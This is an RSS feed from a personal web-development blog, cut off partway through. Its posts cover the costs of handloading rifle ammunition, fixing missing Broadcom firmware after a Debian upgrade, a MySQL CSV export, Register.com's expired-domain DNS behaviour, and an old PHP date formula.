<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Alan Blaine Whitney</title>
	
	<link>http://www.alanblainewhitney.com</link>
	<description>Web Development</description>
	<lastBuildDate>Wed, 24 Feb 2010 14:38:01 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/AlanBlaineWhitney" /><feedburner:info uri="alanblainewhitney" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>44.81777</geo:lat><geo:long>-68.789524</geo:long><item>
		<title>Reloading Information</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/ZKBxNjdUH4s/</link>
		<comments>http://www.alanblainewhitney.com/2010/02/24/reloading-information/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 14:36:17 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[getting it done]]></category>
		<category><![CDATA[reloading]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=143</guid>
		<description><![CDATA[The other day I was thinking some about reloading shells. The process of taking spent rifle brass, and making them ready to go again. I am reloading for .270 winchester. The load my rifle has fellen in love with is 130 grain hornady SST in front of 55 grains of IMR-4350, touched off by a [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I was thinking some about reloading shells. The process of taking spent rifle brass, and making them ready to go again. I am reloading for .270 winchester. The load my rifle has fellen in love with is 130 grain hornady SST in front of 55 grains of IMR-4350, touched off by a CCI 200 primers. Rifle groups pretty good with them.</p>
<p>Just thought I would share my cost. For 100 rounds, I need about 3/4 of a pound of powder, 100 bullets, 100 primers. I have plenty of brass, so this assumes that is not an issue. Plus 30.06 brass is easy to come by, which is one trip in the resizing die and becomes 270 brass.</p>
<p>Here are the cost of making 100 rounds of ammo.</p>
<table border="1" cellpadding="5">
<tbody>
<tr>
<th></th>
<th>Van Raymonds</th>
<th>Midway</th>
<th>Cabelas</th>
</tr>
<tr>
<td>100 x CCI 200 large rifle primers</td>
<td>$4.50</td>
<td>$3.09</td>
<td>$3.29</td>
</tr>
<tr>
<td>1 lb x IMR-4350</td>
<td>$33.99</td>
<td>$22.99</td>
<td>$24.99</td>
</tr>
<tr>
<td>100 x 130 grain hornady SST</td>
<td>$37.99</td>
<td>$26.99</td>
<td>$26.99</td>
</tr>
<tr>
<td>total reloading cost per 100</td>
<td>$76.48</td>
<td>$53.07</td>
<td>$55.27</td>
</tr>
<tr>
<td>100 rounds of purchased live ammo</td>
<td>$179.95</td>
<td>$124.95</td>
<td>$129.95</td>
</tr>
</tbody>
</table>
<p>So midwayusa is the cheapest, but it cost about 30 to ship the stuff.  Cabelas is pretty good too, but about a three hour drive away.  Even buying components locally at van raymonds is cheaper than buying pre-loaded ammo at cabelas.</p>
<p>So in theory reloading saves about 55% the cost of buying pre-loaded factory ammo.  It&#8217;s generally more accurate to boot and you can customize loads to your gun.  Reloading is fun too.</p>
<p>The down side of reloading, you actually don&#8217;t save a penny.  I am not even talking about the up front equipment cost.  I mean, you will shoot twice as much as before, and you shoot away any savings you may of had, but it&#8217;s fun.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=ZKBxNjdUH4s:4CxplbmpUDc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=ZKBxNjdUH4s:4CxplbmpUDc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=ZKBxNjdUH4s:4CxplbmpUDc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=ZKBxNjdUH4s:4CxplbmpUDc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=ZKBxNjdUH4s:4CxplbmpUDc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=ZKBxNjdUH4s:4CxplbmpUDc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=ZKBxNjdUH4s:4CxplbmpUDc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=ZKBxNjdUH4s:4CxplbmpUDc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=ZKBxNjdUH4s:4CxplbmpUDc:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=ZKBxNjdUH4s:4CxplbmpUDc:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/ZKBxNjdUH4s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/02/24/reloading-information/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2010/02/24/reloading-information/</feedburner:origLink></item>
		<item>
		<title>Debian Etch to Lenny Migration</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/lbwY_dCbIog/</link>
		<comments>http://www.alanblainewhitney.com/2010/02/16/debian-etch-to-lenny-migration/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 15:14:04 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=138</guid>
		<description><![CDATA[At my place of employment, sephone internet solutions, we just finished our debian upgrades.  Overall I have huge respect for debian and the apt package tool.  Overall the migration from etch to lenny across several servers was easy, except for one back.
One server required the bnx2 firmware for a Broadcom NetXtreme II NIC. [...]]]></description>
			<content:encoded><![CDATA[<p>At my place of employment, <a href="http://www.sephone.com">sephone internet solutions</a>, we just finished our debian upgrades.  Overall I have huge respect for debian and the apt package tool.  Overall the migration from etch to lenny across several servers was easy, except for one back.</p>
<p>One server required the bnx2 firmware for a Broadcom NetXtreme II NIC.  For one reason or another, the bnx2 driver was not found after doing a standard debian upgrade.  This was quite a problem.  After apt finished with what looked like a flawless upgraded, I rebooted the box and it had <strong>no network interfaces</strong>.</p>
<p>After messing with udev and dmesgs for a while, I was able to find this in a log file</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">Feb <span style="color: #000000;">15</span> <span style="color: #000000;">14</span>:<span style="color: #000000;">29</span>:<span style="color: #000000;">34</span> sentry kernel: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1856.770927</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Broadcom NetXtreme II Gigabit Ethernet Driver bnx2 v1.7.5 <span style="color: #7a0874; font-weight: bold;">&#40;</span>April <span style="color: #000000;">29</span>, <span style="color: #000000;">2008</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
Feb <span style="color: #000000;">15</span> <span style="color: #000000;">14</span>:<span style="color: #000000;">29</span>:<span style="color: #000000;">35</span> sentry kernel: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1857.257121</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> firmware: requesting bnx2-06-4.0.5.fw
Feb <span style="color: #000000;">15</span> <span style="color: #000000;">14</span>:<span style="color: #000000;">29</span>:<span style="color: #000000;">35</span> sentry kernel: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1857.450033</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> bnx2: Cant load firmware <span style="color: #c20cb9; font-weight: bold;">file</span> bnx2-06-4.0.5.fw
Feb <span style="color: #000000;">15</span> <span style="color: #000000;">14</span>:<span style="color: #000000;">29</span>:<span style="color: #000000;">35</span> sentry kernel: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1857.450033</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> bnx2: probe of 0000:05:<span style="color: #000000;">00.0</span> failed with error <span style="color: #660033;">-2</span>
Feb <span style="color: #000000;">15</span> <span style="color: #000000;">14</span>:<span style="color: #000000;">29</span>:<span style="color: #000000;">35</span> sentry kernel: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1857.833817</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> firmware: requesting bnx2-06-4.0.5.fw
Feb <span style="color: #000000;">15</span> <span style="color: #000000;">14</span>:<span style="color: #000000;">29</span>:<span style="color: #000000;">35</span> sentry kernel: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1858.185818</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> bnx2: Cant load firmware <span style="color: #c20cb9; font-weight: bold;">file</span> bnx2-06-4.0.5.fw
Feb <span style="color: #000000;">15</span> <span style="color: #000000;">14</span>:<span style="color: #000000;">29</span>:<span style="color: #000000;">35</span> sentry kernel: <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1858.185818</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> bnx2: probe of 0000:09:<span style="color: #000000;">00.0</span> failed with error <span style="color: #660033;">-2</span></pre></div></div>

<p>After finding that, I asked a <a href="http://www.justinrussell.com">co-worker</a> to manual download the package through a browser on a different machine, put it on a CD, and manually place the file as <em>/lib/firmware/bnx2-06-4.0.5.fw</em>.</p>
<p>With the file now there I needed to try to reload that module</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">modprobe <span style="color: #660033;">-r</span> bnx2
modprobe bnx2
<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>networking restart</pre></div></div>

<p>Lo and behold, I now had network.  With the network working, I wanted to install the proper debian package: firmware-bnx2, which is found in non-free, which I already had in /etc/apt/sources.list, but first, I needed to get rid of the file I put in there, in case it messed anything</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>firmware<span style="color: #000000; font-weight: bold;">/</span>bnx2-06-4.0.5.fw
<span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> firmware-bnx2</pre></div></div>

<p>I rebooted to make sure that it was going to work.  Later it came to me that there was a much simpler solution to this problem, reboot, and in the grub menu, pick the etch kernel, it should boot with network, install firmware-bnx2 and reboot to the new kernel.  I had not thought of that until later though. </p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=lbwY_dCbIog:nq7VAnvtATI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=lbwY_dCbIog:nq7VAnvtATI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=lbwY_dCbIog:nq7VAnvtATI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=lbwY_dCbIog:nq7VAnvtATI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=lbwY_dCbIog:nq7VAnvtATI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=lbwY_dCbIog:nq7VAnvtATI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=lbwY_dCbIog:nq7VAnvtATI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=lbwY_dCbIog:nq7VAnvtATI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=lbwY_dCbIog:nq7VAnvtATI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=lbwY_dCbIog:nq7VAnvtATI:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/lbwY_dCbIog" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/02/16/debian-etch-to-lenny-migration/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2010/02/16/debian-etch-to-lenny-migration/</feedburner:origLink></item>
		<item>
		<title>Server Admin Errors</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/XFnkMZK9WpI/</link>
		<comments>http://www.alanblainewhitney.com/2010/01/25/server-admin-errors/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 15:08:35 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[unix]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=135</guid>
		<description><![CDATA[Every sysadmin loves seeing these errors

hdd: dma_intr: status=0x51 &#123; DriveReady SeekComplete Error &#125;
hdd: dma_intr: error=0x40 &#123; UncorrectableError &#125;, LBAsect=95559021, sector=95559015
ide: failed opcode was: unknown
end_request: I/O error, dev hdd, sector 95559015
Buffer I/O error on device hdd1, logical block 11944869

]]></description>
			<content:encoded><![CDATA[<p>Every sysadmin loves seeing these errors</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">hdd: dma_intr: <span style="color: #007800;">status</span>=0x51 <span style="color: #7a0874; font-weight: bold;">&#123;</span> DriveReady SeekComplete Error <span style="color: #7a0874; font-weight: bold;">&#125;</span>
hdd: dma_intr: <span style="color: #007800;">error</span>=0x40 <span style="color: #7a0874; font-weight: bold;">&#123;</span> UncorrectableError <span style="color: #7a0874; font-weight: bold;">&#125;</span>, <span style="color: #007800;">LBAsect</span>=<span style="color: #000000;">95559021</span>, <span style="color: #007800;">sector</span>=<span style="color: #000000;">95559015</span>
ide: failed opcode was: unknown
end_request: I<span style="color: #000000; font-weight: bold;">/</span>O error, dev hdd, sector <span style="color: #000000;">95559015</span>
Buffer I<span style="color: #000000; font-weight: bold;">/</span>O error on device hdd1, logical block <span style="color: #000000;">11944869</span></pre></div></div>

<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=XFnkMZK9WpI:1XGqN4kFimk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=XFnkMZK9WpI:1XGqN4kFimk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=XFnkMZK9WpI:1XGqN4kFimk:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=XFnkMZK9WpI:1XGqN4kFimk:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=XFnkMZK9WpI:1XGqN4kFimk:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=XFnkMZK9WpI:1XGqN4kFimk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=XFnkMZK9WpI:1XGqN4kFimk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=XFnkMZK9WpI:1XGqN4kFimk:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=XFnkMZK9WpI:1XGqN4kFimk:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=XFnkMZK9WpI:1XGqN4kFimk:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/XFnkMZK9WpI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/01/25/server-admin-errors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2010/01/25/server-admin-errors/</feedburner:origLink></item>
		<item>
		<title>SQL CSV Export</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/g1mvBdeQ7GU/</link>
		<comments>http://www.alanblainewhitney.com/2010/01/15/sql-csv-export/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 14:35:06 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[getting it done]]></category>
		<category><![CDATA[csv]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=129</guid>
		<description><![CDATA[Nothing new here, but had forgot how easy it is to export to csv in mysql

SELECT * INTO OUTFILE 'result.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '&#34;' LINES TERMINATED BY '\n' FROM my_table;

Note that this file will be created on the mysql server, not the client.
]]></description>
			<content:encoded><![CDATA[<p>Nothing new here, but had forgot how easy it is to export to csv in mysql</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span> <span style="color: #993333; font-weight: bold;">INTO</span> <span style="color: #993333; font-weight: bold;">OUTFILE</span> <span style="color: #ff0000;">'result.csv'</span> <span style="color: #993333; font-weight: bold;">FIELDS</span> TERMINATED <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #ff0000;">','</span> <span style="color: #993333; font-weight: bold;">OPTIONALLY</span> <span style="color: #993333; font-weight: bold;">ENCLOSED</span> <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #ff0000;">'&quot;'</span> <span style="color: #993333; font-weight: bold;">LINES</span> TERMINATED <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #ff0000;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> <span style="color: #993333; font-weight: bold;">FROM</span> my_table;</pre></div></div>

<p>Note that this file will be created on the mysql server, not the client.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=g1mvBdeQ7GU:ztpMCKnUv_k:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=g1mvBdeQ7GU:ztpMCKnUv_k:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=g1mvBdeQ7GU:ztpMCKnUv_k:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=g1mvBdeQ7GU:ztpMCKnUv_k:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=g1mvBdeQ7GU:ztpMCKnUv_k:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=g1mvBdeQ7GU:ztpMCKnUv_k:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=g1mvBdeQ7GU:ztpMCKnUv_k:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=g1mvBdeQ7GU:ztpMCKnUv_k:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=g1mvBdeQ7GU:ztpMCKnUv_k:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=g1mvBdeQ7GU:ztpMCKnUv_k:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/g1mvBdeQ7GU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/01/15/sql-csv-export/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2010/01/15/sql-csv-export/</feedburner:origLink></item>
		<item>
		<title>Register.com</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/npNECyiUUVM/</link>
		<comments>http://www.alanblainewhitney.com/2010/01/05/register-com/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 13:34:20 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=127</guid>
		<description><![CDATA[I let a domain expire by accident.  I thought it had some type of auto-renew on it, which it did not, so it expired.  I really wish they would have sent me a notice a few days before giving me a heads up, but that&#8217;s even okay.  My bad for not making sure [...]]]></description>
			<content:encoded><![CDATA[<p>I let a domain expire by accident.  I thought it had some type of auto-renew on it, which it did not, so it expired.  I really wish they would have sent me a notice a few days before giving me a heads up, but that&#8217;s even okay.  My bad for not making sure that it would auto-renew and charge my credit card.</p>
<p>Here is why register.com did that really surprised me.  Once my domain expired, they listed the name servers as ns2.expireddomains.register.com and ns1.expireddomains.register.com.  These name servers will serve everything as 74.54.82.222, even www.google.com, with a one hour time to live.  This is problematic for several reasons.  One is that it can give the impression that something is resolving when it is not.  Another is that records that once did not exist, now do.</p>
<p>The thing that really frustrated me though, was mail.  The listed name servers will give everything a MX record of grey-area.mailhostingserver.com.  This is a real mail server that accepts all mail.  So somebody can email you, and instead of getting a bounce, the email just disappears into the ether.  More than that they give it a 2 day time to live.  So even after you do renew the domain, your email is screwed up for two days.</p>
<p>I would imagine that at least one-third of expired domains are accidents and they get renewed.  So register.com in their wisdom, hose your email for two days for making a mistake.  More than that, I have given register.com $35 for 7 years on that domain, and use them for nothing other than pointing the dns to another&#8217;s name servers.</p>
<p>So I have left register.com and switched to another company.  Thanks register.com for nothing.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=npNECyiUUVM:ryoFQ0G0Ygw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=npNECyiUUVM:ryoFQ0G0Ygw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=npNECyiUUVM:ryoFQ0G0Ygw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=npNECyiUUVM:ryoFQ0G0Ygw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=npNECyiUUVM:ryoFQ0G0Ygw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=npNECyiUUVM:ryoFQ0G0Ygw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=npNECyiUUVM:ryoFQ0G0Ygw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=npNECyiUUVM:ryoFQ0G0Ygw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=npNECyiUUVM:ryoFQ0G0Ygw:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=npNECyiUUVM:ryoFQ0G0Ygw:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AlanBlaineWhitney/~4/npNECyiUUVM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.alanblainewhitney.com/2010/01/05/register-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.alanblainewhitney.com/2010/01/05/register-com/</feedburner:origLink></item>
		<item>
		<title>Really Bad Code</title>
		<link>http://feedproxy.google.com/~r/AlanBlaineWhitney/~3/z40l4EM1Cpg/</link>
		<comments>http://www.alanblainewhitney.com/2009/12/28/really-bad-code/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 15:37:04 +0000</pubDate>
		<dc:creator>Alan Whitney</dc:creator>
				<category><![CDATA[Tech Stuff]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.alanblainewhitney.com/?p=125</guid>
		<description><![CDATA[I just fixing up a reported bug of a really old application.  In trying to fix the code I ran across this piece of code.

return &#40; floor&#40;&#40;  146097 * $century&#41;    /  4 &#41; +
                floor&#40;&#40; [...]]]></description>
			<content:encoded><![CDATA[<p>I just fixing up a reported bug of a really old application.  In trying to fix the code I ran across this piece of code.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>  <span style="color: #cc66cc;">146097</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$century</span><span style="color: #009900;">&#41;</span>    <span style="color: #339933;">/</span>  <span style="color: #cc66cc;">4</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span>
                <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span> <span style="color: #cc66cc;">1461</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$year</span><span style="color: #009900;">&#41;</span>        <span style="color: #339933;">/</span>  <span style="color: #cc66cc;">4</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span>
                <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span> <span style="color: #cc66cc;">153</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$month</span> <span style="color: #339933;">+</span>  <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span>  <span style="color: #cc66cc;">5</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span>
        		<span style="color: #000088;">$day</span> <span style="color: #339933;">+</span>  <span style="color: #cc66cc;">1721119</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=z40l4EM1Cpg:fAcOvmVNdy8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=z40l4EM1Cpg:fAcOvmVNdy8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=z40l4EM1Cpg:fAcOvmVNdy8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=z40l4EM1Cpg:fAcOvmVNdy8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=z40l4EM1Cpg:fAcOvmVNdy8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=z40l4EM1Cpg:fAcOvmVNdy8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=z40l4EM1Cpg:fAcOvmVNdy8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=z40l4EM1Cpg:fAcOvmVNdy8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?a=z40l4EM1Cpg:fAcOvmVNdy8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AlanBlaineWhitney?i=z40l4EM1Cpg:fAcOvmVNdy8:gIN9vFwOqvQ" border="0"></img></a>
